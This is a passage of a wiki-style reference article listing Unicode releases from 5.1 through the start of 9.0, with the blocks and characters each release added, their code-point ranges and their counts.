* '''Kayah Li''' (U+A900-U+A92F), containing 48 letters for Kayah languages, was added.
*  '''Rejang''' (U+A930-U+A95F), containing 37 letters for Rejang script, was added.
* '''Cham''' (U+AA00-U+AA5F), containing 83 letters for Cham script, was added.
* '''Ancient Symbols''' (U+10190-U+101CF), containing 12 characters for weights and measures and other ancient symbols, was added.
* '''Phaistos Disc''' (U+101D0-U+101FF), containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''' (U+10280-U+1029F), containing 29 letters for Lycian script, was added.
* '''Carian''' (U+102A0-U+102DF), containing 49 letters for Carian script, was added.
* '''Lydian''' (U+10920-U+1093F), containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''' (U+1F000-U+1F02F), containing 44 mahjong tiles, was added.
* '''Domino Tiles''' (U+1F030-U+1F09F), containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''. (U+0370-U+0373, U+0375-U+0376 and U+03CF)
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''. (U+0487)
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''. (U+0514-U+0523)
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''. (U+0606-U+060A, U+0616-U+061A and U+063B-U+063F)
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''. (U+076E-U+077F)
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''. (U+0971-U+0972)
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A51 and U+0A75)
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''. (U+0B44 and U+0B62-U+0B63)
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''. (U+0BD0)
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''. (U+0C3D, U+0C58-U+0C59, U+0C62-U+0C63 and U+0C78-U+0C7F)
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''. (U+0D3D, U+0D44, U+0D62-U+0D63, U+0D70-U+0D75 and U+0D79-U+0D7F)
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''. (U+0F6B-U+0F6C, U+0FCE and U+0FD2-U+0FD4)
* Characters for various languages (total 78 characters) were added to '''Myanmar'''. (U+1022, U+1028, U+102B, U+1033-U+1035, U+103A-U+103F, U+105A-U+1099 and U+109E-U+109F)
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''. (U+18AA)
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DCB-U+1DE6)
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''. (U+1E9C-U+1E9F and U+1EFA-U+1EFF)
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''. (U+2064)
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20F0)
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''. (U+214F)
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''. (U+2185-U+2188)
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''. (U+269D, U+26B3-U+26BC and U+26C0-U+26C3)
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CC and U+27EC-U+27EF)
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B1B-U+2B1F, U+2B24-U+2B4C, and U+2B50-U+2B54)
* Additional Latin letters (total 12 characters) were added to '''Latin Extended-C'''. (U+2C6D-U+2C6F, U+2C71-U+2C73, and U+2C78-U+2C7D)
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''. (U+2E18-U+2E1B and U+2E1E-U+2E30)
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''. (U+312D)
* Other strokes (total 20 characters) were added to '''CJK Strokes'''. (U+31D0-U+31E3)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FBC-U+9FC3)
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''. (U+A71B-U+A71F)
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''. (U+A722-U+A78C and U+A7FB-U+A7FF)
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''. (U+FE24-U+FE26)
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''. (U+1D129)

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''' (U+0800-U+083F), containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''' (U+18B0-U+18FF), containing 70 syllables for various Cree languages, was added.
* '''Tai Tham''' (U+1A20-U+1AAF), containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''' (U+1CD0-U+1CFF), containing 35 characters for tone marks and signs, was added.
* '''Lisu''' (U+A4D0-U+A4FF), containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''' (U+A6A0-U+A6FF), containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''' (U+A830-U+A83F), containing 10 fractions and marks, was added.
* '''Devanagari Extended''' (U+A8E0-U+A8FF), containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''' (U+A960-U+A97F), containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''' (U+A980-U+A9DF), containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''' (U+AA60-U+AA7B), containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''' (U+AA80-U+AADF), containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''' (U+ABC0-U+ABFF), containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''' (U+D7B0-U+D7FF), containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''' (U+10840-U+1085F), containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''' (U+10A60-U+10A7F), containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''' (U+10B00-U+10B3F), containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''' (U+10B40-U+10B5F), containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''' (U+10B60-U+10B7F), containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''' (U+10C00-U+10C4F), containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''' (U+10E60-U+10E7F), containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''' (U+11080-U+110CF), containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''' (U+13000-U+1342F), containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''' (U+1F100-U+1F1FF), containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''' (U+1F200-U+1F2FF), containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''' (U+2A700-U+2B73F), containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abkhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''. (U+0524-U+0525)
* Inverted Candrabindu and additional signs and letters (total 5 characters) were added to '''Devanagari'''. (U+0900, U+094E, U+0955 and U+0979-U+097A)
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''. (U+09FB)
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''. (U+0FD5-U+0FD8)
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''. (U+109A-U+109D)
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''. (U+115A-U+115E, U+11A3-U+11A7 and U+11FA-U+11FF)
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''. (U+1400 and U+1677-U+167F)
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''. (U+19AA-U+19AB and U+19DA)
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFD)
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''. (U+20B6-U+20B8)
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''. (U+2150-U+2152 and U+2189)
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''. (U+23E8)
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''. (U+269E-U+269F, U+26BD-U+26BF, U+26C4-U+26CD, U+26CF-U+26E1, U+26E3 and U+26E8-U+26FF)
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''. (U+2757)
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B55-U+2B59)
* Capital letter turned alpha and additions for Shona (total 3 characters) were added to '''Latin Extended-C'''. (U+2C70 to U+2C7E-U+2C7F)
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''. (U+2CEB-U+2CF1)
* Word separator middle dot (⸱) (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E31)
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3244-U+324F)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FC4-U+9FCB)
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA6B-U+FA6D)
* Number two and three (total 2 characters) were added to '''Phoenician'''. (U+1091A-U+1091B)

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''' (U+0840-U+085F), containing 29 letters for Mandaic script, was added.
* '''Batak''' (U+1BC0-U+1BFF), containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''' (U+AB00-U+AB2F), containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiopic syllables, was added.
* '''Brahmi''' (U+11000-U+1107F), containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''' (U+16800-U+16A3F), containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''' (U+1B000-U+1B0FF), containing 2 characters for archaic katakana, was added.
* '''Playing Cards''' (U+1F0A0-U+1F0FF), containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''' (U+1F300-U+1F5FF), containing 529 additional symbols, was added.
* '''Emoticons''' (U+1F600-U+1F64F), containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''' (U+1F680-U+1F6FF), containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''' (U+1F700-U+1F77F), containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''' (U+2B740-U+2B81F), containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''. (U+0526-U+0527)
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''. (U+0620 and U+065F)
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''. (U+093A-U+093B, U+094F, U+0956-U+0957 and U+0973-U+0977)
* Fraction signs (total 6 characters) were added to '''Oriya'''. (U+0B72-U+0B77)
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''. (U+0D29, U+0D3A and U+0D4E)
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''. (U+0F8C-U+0F8F, U+0FD9-U+0FDA)
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''. (U+135D-U+135E)
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFC)
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''. (U+2095-U+209C)
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''. (U+20B9)
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23E9-U+23F3)
* Ophiuchus, astronomical symbol for Uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''. (U+26CE, U+26E2 and U+26E4-U+26E7)
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''. (U+2705, U+270A-U+270B, U+2728, U+274C, U+274E, U+2753-U+2755, U+275F-U+2760, U+2795-U+2797, U+27B0 and U+27BF)
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CE-U+27CF)
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''. (U+2D70 and U+2D7F)
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''. (U+31B8-U+31BA)
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''. (U+A660-U+A661)
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''. (U+A78D-U+A78E, U+A790-U+A791, U+A7A0-U+A7A9 and U+A7FA)
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBB2-U+FBC1)
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F130, U+1F132-U+1F13C, U+1F13E, U+1F140-U+1F141, U+1F143-U+1F145, U+1F147-U+1F149, U+1F14F, U+1F150-U+1F156, U+1F158-U+1F15E, U+1F160-U+1F169, U+1F170-U+1F178, U+1F17A, U+1F17D-U+1F17E, U+1F180-U+1F189, U+1F18E-U+1F18F, U+1F191-U+1F19A and U+1F1E6-U+1F1FF)
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F201-U+1F202, U+1F232-U+1F23A and U+1F250-U+1F251)

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

